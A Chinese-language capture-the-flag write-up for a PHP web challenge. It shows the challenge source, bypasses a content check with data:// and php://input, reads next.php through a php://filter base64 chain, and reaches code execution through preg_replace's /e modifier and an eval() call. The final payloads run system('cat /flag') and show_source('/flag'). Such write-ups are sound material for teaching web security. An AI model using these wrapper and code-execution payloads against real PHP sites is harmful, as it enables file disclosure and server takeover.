题目源码:
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
代码要求我们有两个get参数,首先,代码会检查是否设置了text
参数,并且通过file_get_contents()
函数读取指定文件的内容。如果读取到的文件内容等于"I have a dream",则会将这个内容显示在页面上。
接下来,代码检查是否设置了file
参数,并且使用include()
函数包含这个文件。然而,在包含文件之前,代码进行了一些安全性检查。它使用preg_match()
函数判断$file
中是否包含"flag"字符串,如果包含则输出错误信息并终止脚本执行。
如果以上条件都满足,那么就会包含指定的文件($file
)
根据提示的next.php,我们去访问它
第一点我们可以用data协议流绕过,
?text=data://text/plain,I have a dream
或者input,两者作用相同
?text=php://input
在post请求体写入I have a dream,然后发现直接给file传文件名读不出内容
需要伪协议读文件,payload:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=next.php
解码得:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\\1")
可变变量 ¶
有时候使用可变变量名是很方便的。 就是说,一个变量的变量名可以动态的设置和使用。 一个普通的变量通过声明来设置,例如:
<?php
$a = 'hello';
?>
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。 例如:
<?php
$$a = 'world';
?>
这时,两个变量都被定义了: $a 的内容是“hello”并且 $hello 的内容是“world”。 因此,以下语句:
<?php
echo "$a {$$a}";
?>
与以下语句输出完全相同的结果:
<?php
echo "$a $hello";
?>
它们都会输出: hello world 。
要将可变变量用于数组,必须解决一个模棱两可的问题。 这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。 解决此问题的语法是,对第一种情况用 ${$a[1]} ,对第二种情况用 ${$a}[1] 。
类的属性也可以通过可变属性名来访问。 可变属性名将在该调用所处的范围内被解析。 例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。 对于 $bar 是数组单元时也是一样。引用自:PHP: 可变变量 - Manual
payload:
next.php?\S*=${getFlag()}&cmd=system('cat+/flag');
next.php?\S*=${getflag()}&cmd=show_source('/flag');
深入研究preg_replace与代码执行 - 先知社区